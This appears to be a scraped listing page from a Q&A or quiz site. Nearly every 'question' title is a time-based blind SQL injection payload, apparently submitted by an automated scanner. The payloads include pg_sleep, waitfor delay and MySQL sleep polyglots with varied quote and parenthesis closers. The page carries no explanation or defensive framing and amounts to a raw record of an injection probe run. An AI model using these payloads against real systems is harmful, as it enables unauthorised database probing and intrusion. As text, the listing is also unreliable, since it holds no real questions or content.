| Question | Diff. | By | Answers | 
| Re5pGVDz'));select pg_sleep(8); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| UBIYtYFp');select pg_sleep(16); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| ytqoGKOP';select pg_sleep(24); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1));select pg_sleep(24); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1);select pg_sleep(24); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| D7ga762O')); waitfor delay '0:0:24' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| XDD0xnK6'); waitfor delay '0:0:16' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| aPS4HicP'; waitfor delay '0:0:8' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1)); waitfor delay '0:0:24' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1); waitfor delay '0:0:8' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| if(now()=sysdate(),sleep(24),0)/*'XOR(if(now()=sysdate(),sleep(24),0))OR'"XOR(if(now()=sysdate(),sleep(24),0))OR"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| J45czqEF | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| 065C5JK6'));select pg_sleep(7); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| SLY9PPVL');select pg_sleep(14); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| JDU5lgWG';select pg_sleep(7); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1));select pg_sleep(14); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1);select pg_sleep(7); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1;select pg_sleep(21); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| 9EhdzkHl')); waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| x5NdohZe'); waitfor delay '0:0:7' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| Dm1vH40D'; waitfor delay '0:0:14' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| 1 waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1)); waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1); waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1; waitfor delay '0:0:21' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| (select(0)from(select(sleep(14)))v)/*'+(select(0)from(select(sleep(14)))v)+'"+(select(0)from(select(sleep(14)))v)+"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| if(now()=sysdate(),sleep(21),0)/*'XOR(if(now()=sysdate(),sleep(21),0))OR'"XOR(if(now()=sysdate(),sleep(21),0))OR"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| u6OR7M4Z | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| DWqcpIwD'));select pg_sleep(18); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| NOrFONlf');select pg_sleep(6); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| Hl1Kfx5P';select pg_sleep(12); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1));select pg_sleep(6); -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| JpzH3Vzb')); waitfor delay '0:0:6' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| QLDx44SS'); waitfor delay '0:0:12' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| t0hIxflw'; waitfor delay '0:0:18' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| 1 waitfor delay '0:0:12' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1)); waitfor delay '0:0:12' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1); waitfor delay '0:0:12' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| -1; waitfor delay '0:0:12' -- | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/ | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| WCTPsTxR | Hard | Anonymous | • 1 • 1 • 1 • 1 | 
| j8J5YDhH'));select pg_sleep(15); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| DIQX2Hs7');select pg_sleep(15); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| H0Zt6EBv';select pg_sleep(5); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1));select pg_sleep(15); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1);select pg_sleep(10); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1;select pg_sleep(5); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| SI27FgVX')); waitfor delay '0:0:10' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| xkdPCdOY'); waitfor delay '0:0:5' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| qDJYMQqq'; waitfor delay '0:0:15' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| 1 waitfor delay '0:0:15' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1)); waitfor delay '0:0:15' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1); waitfor delay '0:0:15' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1; waitfor delay '0:0:5' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| 2lxjGfsy | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| OKofdqug'));select pg_sleep(12); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| jV6TQsXf');select pg_sleep(12); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| DIOd2CPl';select pg_sleep(12); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1));select pg_sleep(8); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1);select pg_sleep(12); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1;select pg_sleep(8); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| TRcpz6rx')); waitfor delay '0:0:12' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| gufMV4MF'); waitfor delay '0:0:4' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| Pn8v3AYj'; waitfor delay '0:0:12' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| 1 waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1)); waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1); waitfor delay '0:0:4' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1; waitfor delay '0:0:8' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| DfekgClY | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| HVfoHbwm'));select pg_sleep(9); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| cjtBjMW3');select pg_sleep(9); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| Pa6bnhBA';select pg_sleep(9); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1));select pg_sleep(9); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1);select pg_sleep(6); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1;select pg_sleep(6); -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| V11jaacE')); waitfor delay '0:0:3' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| uvtad0Ri'); waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| tVrPp3Pi'; waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| 1 waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1)); waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1); waitfor delay '0:0:9' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| -1; waitfor delay '0:0:6' -- | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| 0+0+0+1 | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| 1eFEVrW3 | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
| 1 | Medium | Anonymous | • 1 • 1 • 1 • 1 | 
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